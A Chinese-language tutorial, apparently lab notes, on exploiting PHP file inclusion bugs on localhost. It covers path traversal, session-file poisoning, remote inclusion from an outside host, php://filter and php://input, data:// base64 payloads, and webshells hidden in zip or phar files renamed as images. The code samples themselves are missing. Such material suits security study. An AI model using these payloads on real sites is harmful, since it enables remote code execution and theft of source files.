文件包含漏洞
测试代码:
访问:
1.http://localhost/0x01.php?filename=D:/phpstudy/test.php(访问绝对路径,也可以访问其它盘)
2.http://localhost/0x01.php?filename=…/…/…/…/…/…/…/phpstudy/test.php(只访问当前盘)
利用条件:
session的存储位置可以获取
1.通过phpinfo的信息获取到session的存储位置
2.通过猜测默认的session存放位置进行尝试
如:在/var/lib/php/session目录下
3.测试代码
访问如下网址
http://localhost/2.php?ctfs=ctfs
会生成
对应的session文件名为:
文件内容为:
漏洞利用:通过ctfs写入恶意代码,例如访问如下网址:
http://localhost/2.php?ctfs=
然后通过文件包含漏洞利用:
http://localhost/0x01.php?filename=D:/phpstudy/PhpStudy20180211/PHPTutorial/tmp/tmp/sess_bt2o5lqsc5fg6nsg20f991nh45
测试代码:
条件:magic_quotes_gpc = Off php版本<5.3.4
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
测试代码:
访问网址:
http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt
http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt?
http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt%23
http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt%20
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
PHP提供了一些杂项输入/输出(IO)流,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource/xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php(两者一样)
条件:只是读取,只用开启allow_url_fopen,不需要开启allow_url_include
测试代码:
访问网址:
http://localhost/0x01.php?filename=php://filter/read=convert.base64-encode/resource=test.php
base64解码:
可以访问请求的原始数据的只读流,即可直接读取到POST上没有经过解析的原始数据。enctype="multipart/form-data"的时候php://input是无效的。
用法:?file=php://input 数据利用POST传过去
php://input (读取POST数据)
碰到file_get_contents()就要想到用php://input绕过
测试代码:
测试代码:
条件:php配置文件中需要同时开启allow_url_fopen和allow_url_include,就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
通过file协议乐意访问本地文件系统,读取文件内容
测试代码:
访问如下网址:
http://localhost/2.php?filename=file://c:/test.php
数据流封装器,和php://相似都是利用了流的概念,将原本的Include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
和php伪协议的Input类似,碰到file_get_contents()来用;
测试代码:
访问如下网址:
http://localhost/2.php?filename=data://text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==
这个参数就是php解压缩包的一个函数,不管是什么后缀,都会当做压缩包来解压
用法:
?file=phar://压缩包/内部文件
phar://xxx.png/shell.php
注意:PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
测试代码:
访问如下网址:
http://localhost/2.php?filename=phar://test.png/test.php
zip协议和phar协议类似,但是用法不一样
用法:?file=zip://[压缩文件绝对路径]%23[文件内的子文件名]
zip://xxx.png#shell.php
条件:PHP > =5.3.0,注意在windows下测试要5.3.0
http://localhost/2.php?filename=zip://test.png%23test.php